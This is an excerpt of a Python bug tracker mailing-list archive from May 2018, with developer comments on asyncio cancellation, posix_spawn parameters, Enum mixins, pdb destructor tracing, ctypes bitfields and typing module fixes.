<1525767909.87.0.682650639539.issue33413@psf.upfronthosting.co.za> twisteroid ambassador added the comment: I would like to comment on the last observation about current_task().cancel(). I also ran into this corner case recently. When a task is cancelled from outside, by virtue of there *being something outside doing the cancelling*, the task being cancelled is not currently running, and that usually means the task is waiting at an `await` statement, in which case a CancelledError will be raised at this `await` statement the next time this task runs. The other possibility is that the task has been created but has not had a chance to run yet, and in this case the task is marked cancelled, and code inside the task will not run. When one cancels a task from the inside by calling cancel() on the task object, the task will still run as normal until it reaches the next `await` statement, where a CancelledError will be raised. If there is no `await` between calling cancel() and the task returning, however, the CancelledError is never raised inside the task, and the task will end up in the state of done() == True, cancelled() == False, exception() == CancelledError. Anyone awaiting for the task will get a CancelledError without a meaningful stack trace, like this: Traceback (most recent call last): File "cancel_self.py", line 89, in run_one loop.run_until_complete(coro) File "C:\Program Files\Python36\lib\asyncio\base_events.py", line 467, in run_until_complete return future.result() concurrent.futures._base.CancelledError This is the case described in the original comment. I would also consider this a bug or at least undesired behavior. Since CancelledError is never raised inside the task, code in the coroutine cannot catch it, and after the task returns the return value is lost. For a coroutine that acquires and returns some resource (say asyncio.open_connection()), this means that neither the task itself nor the code awaiting the task can release the resource, leading to leakage. I guess one should be careful not to cancel the current task from the inside. ---------- nosy: +twisteroid ambassador _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 05:47:09 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 08 May 2018 09:47:09 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1525772829.0.0.682650639539.issue20104@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6418 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 05:53:52 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 08 May 2018 09:53:52 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1525773232.36.0.682650639539.issue20104@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I propose the following changes to the file_actions parameter in PR 6725. Currently it is the fourth positional-only parameter with the default value None. 1. Change its default value to an empty tuple. None will no longer be accepted as a special case. This will simplify a mental model. 2. Since the order of parameters already doesn't math the natural order of the corresponding C function, and many other keyword-only parameters will be added in PR 6693, it makes sense to make file_actions a keyword-only parameter too. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 06:24:07 2018 From: report at bugs.python.org (Andres Ayala) Date: Tue, 08 May 2018 10:24:07 +0000 Subject: [issue33437] Defining __init__ in enums In-Reply-To: <1525687357.98.0.682650639539.issue33437@psf.upfronthosting.co.za> Message-ID: <1525775047.16.0.682650639539.issue33437@psf.upfronthosting.co.za> Andres Ayala added the comment: I see, with mixed types you need to use __new__ to construct the elements (I imagine is specially important for non mutable types) I have modified the example of the coordinates to try to use a mixed type. Is not the most useful thing, but it mix the bytes class. Is it not obvious how to correctly use the mixin + __new__ operator so it is easy that the example is not correct or can be done better. class Coordinate(bytes, Enum): """ Coordinate with binary codes that can be indexed by the int code. """ def __new__(cls, value, label, unit): obj = bytes.__new__(cls, [value]) obj._value_ = value obj.label = label obj.unit = unit return obj PX = (0, 'P.X', 'km') PY = (1, 'P.Y', 'km') VX = (2, 'V.X', 'km/s') VY = (3, 'V.Y', 'km/s') # This works as expected for element in Coordinate: print("{0}: {0.label}[{0.unit}] = {0.value}".format(element)) # And this Work print("Obtain P.Y from the name:", Coordinate['PY']) print("Obtain V.Y from the index:", Coordinate(3)) # This shall be False print('Coordinate.PY == 1 is:', Coordinate.PY == 1) # But this shall be True print("Coordinate.PY == b'\\01' is:", Coordinate.PY == b'\01') Thanks! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 07:06:27 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 08 May 2018 11:06:27 +0000 Subject: [issue33419] Add functools.partialclass In-Reply-To: <1525372292.27.0.682650639539.issue33419@psf.upfronthosting.co.za> Message-ID: <1525777587.2.0.682650639539.issue33419@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I'm -1 on this change. It looks as an uncommon case, and the correct general implementation is hard (it may be even more hard that it looked to me now). The stdlib should't provide an incomplete implementation which can be replaced with just three lines of code in a concrete case if the user doesn't care about subtle details. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 07:26:46 2018 From: report at bugs.python.org (MultiSosnooley) Date: Tue, 08 May 2018 11:26:46 +0000 Subject: [issue33444] Memory leak/high usage on copy in different thread Message-ID: <1525778806.98.0.682650639539.issue33444@psf.upfronthosting.co.za> New submission from MultiSosnooley : On linux (ubuntu 16.04, 18.04 tested) with python 3.6.5, 3.5.5 and 3.7-dev (windows is not affected) there is ~850Mb of memory used by python process at sleep point. Replacing `submit` `result` with plain function call causes normal ~75Mb at sleep point. Maybe it is linux side issue (or normal behavior). ---------- components: Interpreter Core files: test-memory-leak.py messages: 316285 nosy: MultiSosnooley priority: normal severity: normal status: open title: Memory leak/high usage on copy in different thread versions: Python 3.5, Python 3.6, Python 3.7 Added file: https://bugs.python.org/file47576/test-memory-leak.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 07:53:32 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 08 May 2018 11:53:32 +0000 Subject: [issue33399] site.abs_paths should handle None __cached__ type In-Reply-To: <1525197371.8.0.682650639539.issue33399@psf.upfronthosting.co.za> Message-ID: <1525780412.83.0.682650639539.issue33399@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- nosy: +brett.cannon, eric.snow, ncoghlan type: -> behavior versions: +Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 08:08:44 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 08 May 2018 12:08:44 +0000 Subject: [issue33444] Memory leak/high usage on copy in different thread In-Reply-To: <1525778806.98.0.682650639539.issue33444@psf.upfronthosting.co.za> Message-ID: <1525781324.8.0.682650639539.issue33444@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- nosy: +bquinlan, pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 08:42:38 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 08 May 2018 12:42:38 +0000 Subject: [issue33365] http/client.py does not print correct headers in debug In-Reply-To: <1524744776.83.0.682650639539.issue33365@psf.upfronthosting.co.za> Message-ID: <1525783358.02.0.682650639539.issue33365@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- nosy: +barry, r.david.murray versions: -Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 08:45:19 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 08 May 2018 12:45:19 +0000 Subject: [issue33144] random._randbelow optimization In-Reply-To: <1522076428.25.0.467229070634.issue33144@psf.upfronthosting.co.za> Message-ID: <1525783519.26.0.682650639539.issue33144@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset ec1622d56c80d15740f7f8459c9a79fd55f5d3c7 by Serhiy Storchaka in branch 'master': bpo-33144: Fix choosing random.Random._randbelow implementation. (GH-6563) https://github.com/python/cpython/commit/ec1622d56c80d15740f7f8459c9a79fd55f5d3c7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 08:47:14 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 08 May 2018 12:47:14 +0000 Subject: [issue33144] random._randbelow optimization In-Reply-To: <1522076428.25.0.467229070634.issue33144@psf.upfronthosting.co.za> Message-ID: <1525783634.28.0.682650639539.issue33144@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 09:17:17 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Tue, 08 May 2018 13:17:17 +0000 Subject: [issue32717] Document PEP 560 In-Reply-To: <1517269176.0.0.467229070634.issue32717@psf.upfronthosting.co.za> Message-ID: <1525785437.0.0.682650639539.issue32717@psf.upfronthosting.co.za> Change by Ivan Levkivskyi : ---------- keywords: +patch pull_requests: +6419 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 10:29:58 2018 From: report at bugs.python.org (Jeroen Demeyer) Date: Tue, 08 May 2018 14:29:58 +0000 Subject: [issue33445] test_cprofile should fail instead of displaying a message Message-ID: <1525789798.41.0.682650639539.issue33445@psf.upfronthosting.co.za> New submission from Jeroen Demeyer : When this test from Lib/test/test_profile.py fail, it just prints a message and doesn't fail the testsuite: def test_cprofile(self): results = self.do_profiling() expected = self.get_expected_output() self.assertEqual(results[0], 1000) for i, method in enumerate(self.methodnames): if results[i+1] != expected[method]: print("Stats.%s output for %s doesn't fit expectation!" % (method, self.profilerclass.__name__)) print('\n'.join(unified_diff( results[i+1].split('\n'), expected[method].split('\n')))) ---------- components: Tests messages: 316287 nosy: jdemeyer priority: normal severity: normal status: open title: test_cprofile should fail instead of displaying a message _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 10:41:15 2018 From: report at bugs.python.org (Jeroen Demeyer) Date: Tue, 08 May 2018 14:41:15 +0000 Subject: [issue33445] test_cprofile should fail instead of displaying a message In-Reply-To: <1525789798.41.0.682650639539.issue33445@psf.upfronthosting.co.za> Message-ID: <1525790475.46.0.682650639539.issue33445@psf.upfronthosting.co.za> Change by Jeroen Demeyer : ---------- keywords: +patch pull_requests: +6420 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 11:01:04 2018 From: report at bugs.python.org (Ethan Furman) Date: Tue, 08 May 2018 15:01:04 +0000 Subject: [issue33437] Defining __init__ in enums In-Reply-To: <1525687357.98.0.682650639539.issue33437@psf.upfronthosting.co.za> Message-ID: <1525791664.19.0.682650639539.issue33437@psf.upfronthosting.co.za> Ethan Furman added the comment: That new example looks great! Note that you don't need the parenthesis, though. FYI: The same thing using the aenum library* would look like: from aenum import Enum class Coord(bytes, Enum): _init_ = 'value label unit' PX = [0], 'P.X', 'km' PY = [1], 'P.Y', 'km' VX = [2], 'V.X', 'km/s' VY = [3], 'V.Y', 'km/s' * aenum is the Advanced Enum library I wrote that has a few extra abilities. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 13:45:33 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 08 May 2018 17:45:33 +0000 Subject: [issue33444] Memory leak/high usage on copy in different thread In-Reply-To: <1525778806.98.0.682650639539.issue33444@psf.upfronthosting.co.za> Message-ID: <1525801533.5.0.682650639539.issue33444@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Yes, this looks surprising, but there is no memory leak here, just memory fragmentation in the glibc allocator. This is the program I used to diagnose it: https://gist.github.com/pitrou/6c5310d4c721436165666044e3c31158 At the end the program prints glibc allocator stats as returned by mallinfo() (see http://man7.org/linux/man-pages/man3/mallinfo.3.html). On my system, the process takes 480 MB RSS and "fordblks" (the total number of bytes in free blocks) is 478 MB. However, "keepcost" (the releasable free space) is only 30 MB. The rest is probably interspersed with internal interpreter structures that have stayed alive. The fragmentation seems to depend on the number of threads. If you start the executor with only one thread, memory consumption is much lower. This makes sense: by ensuring all operations happen in order with little concurrency, we minimize the chance that short-lived data gets interspersed with longer-lived data. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 13:45:48 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 08 May 2018 17:45:48 +0000 Subject: [issue33444] Memory leak/high usage on copy in different thread In-Reply-To: <1525778806.98.0.682650639539.issue33444@psf.upfronthosting.co.za> Message-ID: <1525801548.75.0.682650639539.issue33444@psf.upfronthosting.co.za> Change by Antoine Pitrou : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 14:29:15 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Tue, 08 May 2018 18:29:15 +0000 Subject: [issue33446] destructors of local variables are not traced Message-ID: <1525804155.74.0.682650639539.issue33446@psf.upfronthosting.co.za> New submission from Xavier de Gaye : In the following code, the destructors of objects referenced by the 'a' and 'b' local variables are not traced by the 'step' command of pdb. 1 class C: 2 def __init__(self, name): 3 self.name = name 4 5 def __del__(self): 6 print('"%s" destructor' % self.name) 7 8 def main(): 9 a = C('a') 10 b = C('b') 11 import pdb; pdb.set_trace() 12 a = 1 13 14 main() ---------- components: Interpreter Core, Library (Lib) messages: 316290 nosy: xdegaye priority: normal severity: normal status: open title: destructors of local variables are not traced type: behavior versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 14:38:51 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Tue, 08 May 2018 18:38:51 +0000 Subject: [issue32717] Document PEP 560 In-Reply-To: <1517269176.0.0.467229070634.issue32717@psf.upfronthosting.co.za> Message-ID: <1525804731.21.0.682650639539.issue32717@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: New changeset bd5f96581bf23f6d05fc106996428a8043b6b084 by Ivan Levkivskyi in branch 'master': bpo-32717: Document PEP 560 (GH-6726) https://github.com/python/cpython/commit/bd5f96581bf23f6d05fc106996428a8043b6b084 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 14:38:59 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 08 May 2018 18:38:59 +0000 Subject: [issue32717] Document PEP 560 In-Reply-To: <1517269176.0.0.467229070634.issue32717@psf.upfronthosting.co.za> Message-ID: <1525804739.1.0.682650639539.issue32717@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6421 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 14:45:41 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Tue, 08 May 2018 18:45:41 +0000 Subject: [issue33446] destructors of local variables are not traced In-Reply-To: <1525804155.74.0.682650639539.issue33446@psf.upfronthosting.co.za> Message-ID: <1525805141.08.0.682650639539.issue33446@psf.upfronthosting.co.za> Change by Xavier de Gaye : ---------- keywords: +patch pull_requests: +6422 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 14:49:55 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Tue, 08 May 2018 18:49:55 +0000 Subject: [issue33446] destructors of local variables are not traced In-Reply-To: <1525804155.74.0.682650639539.issue33446@psf.upfronthosting.co.za> Message-ID: <1525805395.7.0.682650639539.issue33446@psf.upfronthosting.co.za> Xavier de Gaye added the comment: In both cases the destructor cannot be traced because it is invoked from functions called from [1] call_trace() where tracing is disabled: Case local variable 'a': On line 12, just before executing this line with a pdb step command, the object referenced by 'a' lives in frame->f_locals. The step command causes the ceval loop to execute the bytecodes corresponding to the statement on line 12 and to eventualy call [2] call_trampoline() with a 'return' trace event and to call PyFrame_FastToLocalsWithError() here. This last call causes the last reference to the previous 'a' object in frame->f_locals to be decremented and the object to be deallocated but without its destructor being traced as tracing has been disabled in call_trace(). Case local variable 'b': Upon exiting the frame of the 'main' function, pdb keeps a reference to frame->f_locals through its own attribute curframe_locals. Next, after returning to the 'main' caller, this reference is decremented since pdb.curframe_locals references now another object and the dictionary referenced by the previous frame f_locals (the frame of 'main') is deallocated, but this happens within pdb where tracing is disabled and the destructor of the object that had been referenced by 'b' is therefore not traced. PR 6730 proposes a fix for both cases. [1] https://github.com/python/cpython/blob/master/Python/ceval.c#L4247 [2] https://github.com/python/cpython/blob/master/Python/sysmodule.c#L462 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 14:52:45 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 08 May 2018 18:52:45 +0000 Subject: [issue32717] Document PEP 560 In-Reply-To: <1517269176.0.0.467229070634.issue32717@psf.upfronthosting.co.za> Message-ID: <1525805565.17.0.682650639539.issue32717@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 101d0d585f99a3b8c8d070b9d4dea15fa3daff62 by Miss Islington (bot) in branch '3.7': bpo-32717: Document PEP 560 (GH-6726) https://github.com/python/cpython/commit/101d0d585f99a3b8c8d070b9d4dea15fa3daff62 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 14:56:24 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Tue, 08 May 2018 18:56:24 +0000 Subject: [issue16653] reference kept in f_locals prevents the tracing/profiling of a destructor In-Reply-To: <1355090518.29.0.154365424175.issue16653@psf.upfronthosting.co.za> Message-ID: <1525805784.23.0.682650639539.issue16653@psf.upfronthosting.co.za> Xavier de Gaye added the comment: Closing as a duplicate of issue 33446 which has a wider scope and a PR. ---------- resolution: -> duplicate stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 15:00:03 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 08 May 2018 19:00:03 +0000 Subject: [issue33446] destructors of local variables are not traced In-Reply-To: <1525804155.74.0.682650639539.issue33446@psf.upfronthosting.co.za> Message-ID: <1525806003.67.0.682650639539.issue33446@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 15:19:40 2018 From: report at bugs.python.org (steverweber) Date: Tue, 08 May 2018 19:19:40 +0000 Subject: [issue30167] site.main() does not work on Python 3.6 and superior if PYTHONSTARTUP is set In-Reply-To: <1493196813.64.0.567701209744.issue30167@psf.upfronthosting.co.za> Message-ID: <1525807180.72.0.682650639539.issue30167@psf.upfronthosting.co.za> steverweber added the comment: ref to other projects that hit this issue. https://gitlab.idiap.ch/bob/bob.buildout/issues/15 https://github.com/saltstack/salt/issues/45080 https://groups.google.com/forum/#!msg/comp.lang.python/tpfiHAJhl9Y/hZj1f50vBQAJ ---------- nosy: +steverweber _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 15:44:51 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Tue, 08 May 2018 19:44:51 +0000 Subject: [issue27465] IDLE:Make help source menu entries unique and sorted. In-Reply-To: <1467943126.13.0.718896019337.issue27465@psf.upfronthosting.co.za> Message-ID: <1525808691.12.0.682650639539.issue27465@psf.upfronthosting.co.za> Cheryl Sabella added the comment: > Currently, names are displayed in the order added. I believe sorting would be better, especially when one adds more than 2 entries. That should also be easy. I'm wondering if it would be worthwhile to add Drag and Drop functionality to the Help listbox to allow users to move the items into any order they want? ---------- nosy: +csabella _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 15:52:01 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Tue, 08 May 2018 19:52:01 +0000 Subject: [issue32717] Document PEP 560 In-Reply-To: <1517269176.0.0.467229070634.issue32717@psf.upfronthosting.co.za> Message-ID: <1525809121.15.0.682650639539.issue32717@psf.upfronthosting.co.za> Change by Ivan Levkivskyi : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 16:27:41 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Tue, 08 May 2018 20:27:41 +0000 Subject: [issue13044] pdb throws AttributeError at end of debugging session In-Reply-To: <1316968582.76.0.94343164649.issue13044@psf.upfronthosting.co.za> Message-ID: <1525811261.17.0.682650639539.issue13044@psf.upfronthosting.co.za> Xavier de Gaye added the comment: Nosying Serhiy as this post attempts to answer one of the questions raised in msg315588 in issue 33328: > Is it good that the debugger is enabled at the shutdown stage? This post has four different sections showing that the successive and incremental attempts at fixing the current code to have a destructor traced in the shutdown stage may lead to a segfault. Section 1 - Current status: --------------------------- A run with Python 3.6.5 of the following code proposed in the previous msg176993 gives now a different output and the C destructor is still not traced, but now it is not even called: 1 class C: 2 def __del__(self): 3 print('deleted') 4 5 c = C() 6 import pdb; pdb.set_trace() 7 x = 1 $ python test_destructor.py > test_destructor.py(7)() -> x = 1 (Pdb) step --Return-- > test_destructor.py(7)()->None -> x = 1 (Pdb) step --Call-- Exception ignored in: Traceback (most recent call last): File "/usr/lib/python3.6/types.py", line 27, in _ag File "/usr/lib/python3.6/bdb.py", line 53, in trace_dispatch File "/usr/lib/python3.6/bdb.py", line 85, in dispatch_call File "/usr/lib/python3.6/pdb.py", line 251, in user_call File "/usr/lib/python3.6/pdb.py", line 351, in interaction File "/usr/lib/python3.6/pdb.py", line 1453, in print_stack_entry File "/usr/lib/python3.6/bdb.py", line 394, in format_stack_entry TypeError: 'NoneType' object is not callable Section 2 - Fix using PR 6730: ------------------------------ PR 6730 in issue 33446 fixes a bug in the pdb module that leaks a reference to frame->f_locals through its curframe_locals attribute. There is no major change when the current Python master branch is run with PR 6730, the destructor is still not traced and not called. Section 3 - Fix a bdb leak: --------------------------- After returning from the '__main__' module, the Bdb.bdb instance keeps a reference to the module through its botframe attribute and prevents the corresponding frame from being deallocated at the end of _PyEval_EvalCodeWithName() (the frame reference count is 2 instead of 1). The attached bdb_leak.diff patch fixes this, and when PR 6730 and bdb_leak.diff are run, the destructor is now traced but this fails with an exception in bdb: $ /home/xavier/src/python/master/python test_destructor.py > ./test_destructor.py(7)() -> x = 1 (Pdb) step --Return-- > ./test_destructor.py(7)()->None -> x = 1 (Pdb) step Exception ignored in: Traceback (most recent call last): File "test_destructor.py", line 3, in __del__ File "test_destructor.py", line 3, in __del__ File "/home/xavier/src/python/master/Lib/bdb.py", line 88, in trace_dispatch File "/home/xavier/src/python/master/Lib/bdb.py", line 115, in dispatch_line File "/home/xavier/src/python/master/Lib/pdb.py", line 262, in user_line File "/home/xavier/src/python/master/Lib/pdb.py", line 352, in interaction File "/home/xavier/src/python/master/Lib/pdb.py", line 1454, in print_stack_entry File "/home/xavier/src/python/master/Lib/bdb.py", line 544, in format_stack_entry ImportError: sys.meta_path is None, Python is likely shutting down Section 4 - Remove the lazy import: ----------------------------------- The attached lazy_import.diff patch includes the changes in bdb_leak.diff patch and replaces the lazy imports causing the previous ImportError with imports at the start of the bdb module. Running test_destructor.py fails now with a segfault: $ /home/xavier/src/python/master/python test_destructor.py > ./test_destructor.py(7)() -> x = 1 (Pdb) step --Return-- > ./test_destructor.py(7)()->None -> x = 1 (Pdb) step > ./test_destructor.py(3)__del__() -> print('deleted') Segmentation fault (core dumped) The gdb back trace is attached at gdb_backtrace.txt. Conclusion: ----------- It seems that tracing should be prevented in the shutdown stage and that multiple little bugs have hidden that fact (when tracing is done with pdb). Not sure if tracing with PyEval_SetTrace() could be allowed in that stage. BTW coverage.py uses PyEval_SetTrace() and I have noticed that coverage.py does not trace either the destructor in test_destructor.py (nosying Ned). ---------- keywords: +patch nosy: +nedbat, serhiy.storchaka Added file: https://bugs.python.org/file47577/bdb_leak.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 16:28:03 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Tue, 08 May 2018 20:28:03 +0000 Subject: [issue13044] pdb throws AttributeError at end of debugging session In-Reply-To: <1316968582.76.0.94343164649.issue13044@psf.upfronthosting.co.za> Message-ID: <1525811283.21.0.682650639539.issue13044@psf.upfronthosting.co.za> Change by Xavier de Gaye : Added file: https://bugs.python.org/file47578/lazy_import.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 16:28:15 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Tue, 08 May 2018 20:28:15 +0000 Subject: [issue13044] pdb throws AttributeError at end of debugging session In-Reply-To: <1316968582.76.0.94343164649.issue13044@psf.upfronthosting.co.za> Message-ID: <1525811295.31.0.682650639539.issue13044@psf.upfronthosting.co.za> Change by Xavier de Gaye : Added file: https://bugs.python.org/file47579/gdb_backtrace.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 16:44:32 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Tue, 08 May 2018 20:44:32 +0000 Subject: [issue28556] typing.py upgrades In-Reply-To: <1477756009.46.0.442279756181.issue28556@psf.upfronthosting.co.za> Message-ID: <1525812272.06.0.682650639539.issue28556@psf.upfronthosting.co.za> Change by Ivan Levkivskyi : ---------- pull_requests: +6423 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 18:15:37 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Tue, 08 May 2018 22:15:37 +0000 Subject: [issue33414] Make shutil.copytree use os.scandir to take advantage of cached is_(dir|file|symlink) In-Reply-To: <1525320573.53.0.682650639539.issue33414@psf.upfronthosting.co.za> Message-ID: <1525817737.28.0.682650639539.issue33414@psf.upfronthosting.co.za> Andr?s Delfino added the comment: I believe you are right about being conservative with changing working code, specially when there's no proof about performance being improved. I think its best to close this ticket. I'd do it myself, but I know what resolution applies here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 19:56:53 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Tue, 08 May 2018 23:56:53 +0000 Subject: [issue27675] IDLE file completion has 2 bugs depending on open quote used In-Reply-To: <1470237103.73.0.416964160416.issue27675@psf.upfronthosting.co.za> Message-ID: <1525823813.15.0.682650639539.issue27675@psf.upfronthosting.co.za> Cheryl Sabella added the comment: I can't seem to recreate this. I tried on Ubuntu with master and Windows with 3.6.3. I'm not sure if it's been fixed by another change or if I'm not doing the steps correctly to recreate it. ---------- nosy: +csabella _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 20:45:38 2018 From: report at bugs.python.org (Greg Onufer) Date: Wed, 09 May 2018 00:45:38 +0000 Subject: [issue16733] Solaris ctypes_test failures In-Reply-To: <1355959487.2.0.457059136813.issue16733@psf.upfronthosting.co.za> Message-ID: <1525826738.69.0.682650639539.issue16733@psf.upfronthosting.co.za> Greg Onufer added the comment: The bitfields failures are due to Python not implementing bitfields the same as the compiler. https://docs.oracle.com/cd/E77782_01/html/E77792/gqexw.html "Signed and Unsigned int Bit-fields Bit-fields which are declared as int (not signed int or unsigned int) can be implemented by the compiler using either signed or unsigned types. This makes a difference when extracting a value and deciding whether to sign extend it. The Oracle Developer Studio compiler uses unsigned types for int bit-fields and the gcc compiler uses signed types. Use the gcc ?funsigned-bitfields flag to control this behavior. For more information, see the sixth list item at https://gcc.gnu.org/onlinedocs/gcc-3.3.6/gcc/Non_002dbugs.html." When the test compares the ctypes extraction of the bitfield (signed) and the compiler-native extraction of the bitfield (unsigned), they miscompare if the high-bit of the field is set. If Python wants bitfields extracted from signed integral types to be signed, the C code in the test case needs to account for the compiler implementation defined behavior and sign extend the bitfield before returning it. See patch in attachment. The bitfield tests pass with those changes. ---------- keywords: +patch nosy: +gco Added file: https://bugs.python.org/file47580/0001-Fix-ctypes-bitfield-test-code-to-account-for-compile.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 21:23:49 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Wed, 09 May 2018 01:23:49 +0000 Subject: [issue28556] typing.py upgrades In-Reply-To: <1477756009.46.0.442279756181.issue28556@psf.upfronthosting.co.za> Message-ID: <1525829029.77.0.682650639539.issue28556@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: New changeset 43d12a6bd82bd09ac189069fe1eb40cdbc10a58c by Ivan Levkivskyi in branch 'master': bpo-28556: Minor fixes for typing module (GH-6732) https://github.com/python/cpython/commit/43d12a6bd82bd09ac189069fe1eb40cdbc10a58c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 21:24:55 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 09 May 2018 01:24:55 +0000 Subject: [issue28556] typing.py upgrades In-Reply-To: <1477756009.46.0.442279756181.issue28556@psf.upfronthosting.co.za> Message-ID: <1525829095.67.0.682650639539.issue28556@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6424 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 21:25:47 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Wed, 09 May 2018 01:25:47 +0000 Subject: [issue33420] [typing] __origin__ invariant broken In-Reply-To: <1525372301.54.0.682650639539.issue33420@psf.upfronthosting.co.za> Message-ID: <1525829147.61.0.682650639539.issue33420@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: This is now fixed on master by https://github.com/python/cpython/commit/43d12a6bd82bd09ac189069fe1eb40cdbc10a58c (the comment is updated). ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 21:44:18 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 09 May 2018 01:44:18 +0000 Subject: [issue28556] typing.py upgrades In-Reply-To: <1477756009.46.0.442279756181.issue28556@psf.upfronthosting.co.za> Message-ID: <1525830258.38.0.682650639539.issue28556@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 3c28a6387b48bad3fcae47906bc166d02a2f8ed2 by Miss Islington (bot) in branch '3.7': bpo-28556: Minor fixes for typing module (GH-6732) https://github.com/python/cpython/commit/3c28a6387b48bad3fcae47906bc166d02a2f8ed2 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 8 23:22:40 2018 From: report at bugs.python.org (Noah Simon) Date: Wed, 09 May 2018 03:22:40 +0000 Subject: [issue33447] Asynchronous lambda syntax Message-ID: <1525836160.23.0.682650639539.issue33447@psf.upfronthosting.co.za> New submission from Noah Simon : It would be very useful to add an asynchronous lambda 